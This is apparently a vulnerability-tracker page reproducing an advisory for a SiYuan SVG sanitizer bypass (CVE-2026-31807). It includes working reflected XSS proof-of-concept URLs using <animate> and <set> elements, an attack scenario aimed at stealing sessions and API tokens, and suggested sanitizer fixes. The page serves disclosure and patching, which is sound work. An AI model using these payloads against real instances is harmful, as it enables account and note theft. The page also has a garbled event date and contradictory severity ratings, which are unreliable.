CVE-2026-31807: SiYuan has a SVG Sanitizer Bypass via `<animate>` Element — Unauthenticated XSS

Published Mar 10, 2026
·
Updated

SVG Sanitizer Bypass via <animate> Element — Unauthenticated XSS

Summary

SiYuan's SVG sanitizer (SanitizeSVG) blocks dangerous elements (<script>, <iframe>, <foreignobject>) and removes on event handlers and javascript: in href attributes. However, it does NOT block SVG animation elements (<animate>, <set>) which can dynamically set attributes to dangerous values at runtime, bypassing the static sanitization. This allows an attacker to inject executable JavaScript into the unauthenticated /api/icon/getDynamicIcon endpoint (type=8), creating a reflected XSS.

This is a bypass of the fix for CVE-2026-29183 (fixed in v3.5.9).

Affected Component

- File: kernel/util/misc.go - Function: SanitizeSVG() (lines 234-319) - Endpoint: GET /api/icon/getDynamicIcon?type=8&content=... (unauthenticated) - Version: SiYuan <= 3.5.9

Root Cause

The sanitizer checks attributes on elements at parse time. SVG <animate> and <set> elements modify attributes at runtime — these elements are not in the sanitizer's blocklist.

Sanitizer's blocklist (line 250)

go if tag == "script" || tag == "iframe" || tag == "object" || tag == "embed" || tag == "foreignobject" { n.RemoveChild(c) // ... }

Missing from blocklist: animate, set, animateTransform, animateMotion

Attribute check (lines 264-267)

go // Only checks static attributes if strings.HasPrefix(key, "on") { continue }

The <animate> element's values attribute contains the payload (javascript:...), but the sanitizer only checks for on prefix, href, or xlink:href keys. The values, to, from, attributeName attributes are all passed through.

Proof of Concept

Vector 1: <animate> sets href to javascript:

GET /api/icon/getDynamicIcon?type=8&content=</text><a><animate attributeName="href" values="javascript:alert(document.domain)" begin="0s" fill="freeze"/><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue

After template rendering, the SVG contains: xml <svg ...> <text ...></text> <a> <animate attributeName="href" values="javascript:alert(document.domain)" begin="0s" fill="freeze"/> <text x="50%" y="80%" fill="red" style="font-size:60px">Click me</text> </a> <text></text> </svg>

The sanitizer passes this through because: 1. <animate> is not in the element blocklist 2. attributeName="href" — key is attributename, doesn't start with on, not href itself 3. values="javascript:..." — key is values, not href

When the SVG is rendered in the browser (navigating directly to the URL), <animate> sets the parent <a> element's href to javascript:alert(document.domain). Clicking "Click me" triggers the JavaScript.

Vector 2: <set> modifies event handlers

GET /api/icon/getDynamicIcon?type=8&content=</text><set attributeName="onmouseover" to="alert(document.domain)"/><text>&color=blue

The <set> element dynamically adds an onmouseover event handler to the parent element at runtime.

Attack Scenario

1. Attacker crafts a malicious getDynamicIcon URL with XSS payload 2. Attacker sends the URL to a victim who has an active SiYuan session 3. Victim clicks/navigates to the URL 4. SVG renders with Content-Type image/svg+xml — browser renders as standalone SVG document 5. JavaScript executes in the SiYuan server's origin 6. Attacker steals session cookies, API tokens, or makes authenticated API calls to read/modify notes

Impact

- Severity: CRITICAL (CVSS ~9.1) - Type: CWE-79 (Improper Neutralization of Input During Web Page Generation) - Unauthenticated reflected XSS via SVG injection - Executes in the SiYuan application origin, giving full access to authenticated APIs - Can chain to: data exfiltration, note modification, configuration theft (API tokens, auth codes) - Bypasses the fix for CVE-2026-29183

Suggested Fix

Add animation elements to the sanitizer blocklist:

go // In SanitizeSVG, line 250: if tag == "script" || tag == "iframe" || tag == "object" || tag == "embed" || tag == "foreignobject" || tag == "animate" || tag == "set" || tag == "animatetransform" || tag == "animatemotion" { n.RemoveChild(c) c = next continue }

Or additionally check the values, to, and from attributes for javascript: patterns:

go if key == "values" || key == "to" || key == "from" { if strings.Contains(val, "javascript:") { continue } }

Also consider checking attributeName — if it targets href, xlink:href, or any on attribute, the animation element should be removed entirely.

Other sources

SiYuan is a personal knowledge management system. Prior to 3.5.10, SiYuan's SVG sanitizer (SanitizeSVG) blocks dangerous elements (<script>, <iframe>, <foreignobject>) and removes on event handlers and javascript: in href attributes. However, it does NOT block SVG animation elements (<animate>, <set>) which can dynamically set attributes to dangerous values at runtime, bypassing the static sanitization. This allows an attacker to inject executable JavaScript into the unauthenticated /api/icon/getDynamicIcon endpoint (type=8), creating a reflected XSS. This is a bypass of the fix for CVE-2026-29183 (fixed in v3.5.9). This vulnerability is fixed in v3.5.10.

MITRE

Affected Software

3 affected componentsFixes available
SiYuan SiYuan<3.5.10
go/github.com/siyuan-note/siyuan/kernel<0.0.0-20260310025236-297bd526708f
0.0.0-20260310025236-297bd526708f
b3log SiYuan<3.5.10

Event History

Mar 10, 2026
CVE Published
via MITRE·08:56 PM
Data Sourced
via MITRE·08:56 PM
DescriptionWeakness
Data Sourced
via NVD·09:16 PM
DescriptionSeverityWeaknessAffected Software
Advisory Published
via GitHub·11:49 PM
Data Sourced
via GitHub·11:49 PM
DescriptionWeaknessAffected Software
May 22, 58164
Event
via FIRST·11:28 AM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-31807?

CVE-2026-31807 has a medium severity rating due to its potential for unauthenticated cross-site scripting (XSS) exploits.

2

How do I fix CVE-2026-31807?

To fix CVE-2026-31807, upgrade to SiYuan version 3.5.10 or later.

3

What is the impact of CVE-2026-31807?

The impact of CVE-2026-31807 allows attackers to execute arbitrary JavaScript code in the context of victim users.

4

Which versions of SiYuan are affected by CVE-2026-31807?

Versions of SiYuan prior to 3.5.10 are affected by CVE-2026-31807.

5

Who is affected by CVE-2026-31807?

All users of SiYuan versions earlier than 3.5.10 are potentially affected by CVE-2026-31807.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203